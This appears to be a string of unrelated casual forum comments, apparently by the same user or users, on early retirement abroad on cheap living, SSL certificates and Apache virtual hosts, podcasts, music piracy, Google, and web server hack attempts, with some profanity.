Another thing to note: If you are in charge of "building a scalable website", and you do not know how to "build a scalable website" and thus resort to reading a book entitled "building scalable websites", then you should probably not be "building a scalable website."
Sight set in motion. I've bought property in central america - house in the mountains, view of the Pacific ocean, less than 5 miles from the coast. $35K, $300 year property taxes, $500 year caretaker. Cost of living is dirt fucking cheap compared to the metropolis where I currently live. Sure, it'll get more expensive there. But it will never outpace where I live now. I can work until I'm 65 to live out my years where I live now or I can work until I'm 45 and sit on a beach there.
Subsiding on one dollar a day sounds shitty and scary to you? Well, it sounds fuck exciting to me. 1 dollar a day. 1 dollar a day. The equity in my house is 300K... three hundred thousand days at 1 dollar a day. Goddamn, thats like 800 years! I could sell my house now and go live in poverty in India for 8 centuries. I could also up it.. What does 10 dollars a day get you in India? Probably a lot more than 1 dollar - at least 10 times more to say the least. Okay - 80 years. But I'm 35 so I won't live 80 more years. Say 40 years. Thats 20 dollars a day. 20 times the poverty level. In the US, 20 times the poverty level is $8K vs $160K. Can I live like a king in India for $20 a day? I can afford it today, for the rest of my life.
Laugh if you will, but I'm selling it all at 45 and retiring to a country like this.
was asking papa why? for there were there were many things I didn't know and daddy always smiled and took me by the hand saying someday, "you'll understand."
Thanks for the tip, I am going to look into that first thing tomorrow. One thing I hate about using SSL is the unique IP per host requirement. Most of our stuff runs one host name per server, but for some machines with a few extra vhosts, I hate burning up IP addresses just because it's SSL. It's a waste of IPs and more stuff to keep track of - another external to internal map, etc.
I know those gotchas too. If you change anything in an SSL vhost you have to do full restart. There's nothing worse than forgeting that, doing a graceful, and panicking when you ps and don't see apache running...
Well, it's pretty much the honor system. The certificate does not change if you add servers, you can pay for 1 server and use it on 1000. We pay for roughly the correct number of servers. We're already paying nearly $500 for the cert, why quible over another $1-200 dollars.
They were the first company I found selling certs for $50 compared to Thawte which was around $200 at the time. Now we use a wild card cert which costs $449 + $10/server. We use it on 15 servers with 20 or so hostnames (*.url.com) right now. It makes it a hell of lot easier to update and manage only one cert.
We have had no reported problems with browser compatibility.
Heh, yeah. Don't you love it when you google about something and can only find the same shitty man page posted on a dozen websites as well as the only thing to be found in groups?
I'm sure several people will respond to you saying that they, in fact, listen to podcasts. Someone might even claim that they got one or more of their relatives hooked on them. This will thus prove that everyone except you (and me) listens to them.
Except I don't hear anyone saying, "Hey, let's start our own record label, produce better music and sell it for less." I hear (basically), "I could get it for free (both hassle and dollar wise) for a few years in the late 90s, now it's becoming harder because the record labels got wise and cracked down. My rights are being trampled!!!!!!!"
Google is appearing more and more like a Real American Corporation(TM) with each passing day. Shame on them.
Gee whiz, maybe that's because they are a Real American Corporation. Tell you what, if you don't like Google or what they are doing, stop using them. It's the least you can do.

Nothing says early retirement like a 6 figure income and living frugally.
It use the latest in bio-energy too. Arguably one of the most efficent machines on the planet, it's called a bike.
Great. 419 scam emails will jump 100 fold.

There was also a Dilbert series if anyone remembers it from when it went live.
I like this Dilbert series more.
That's usually where the stupid shit is...

Yeah? Well *Mambo* is a *PHP hack*.
I thought maybe it would explain the constant hack attempts on non-existent php apps on my webservers.

If price is your only requirement, go with tape. Otherwise, let's hear about redunancy, speed, reliablity, availablitlty, etc.

They mean VLANs and the like, meaning your little NAT network in your basement doesn't have to comply. And neither does your company's intranet.

People with real world business experience going up against young idealists. Guess what? Business always wins. Always has, always will.
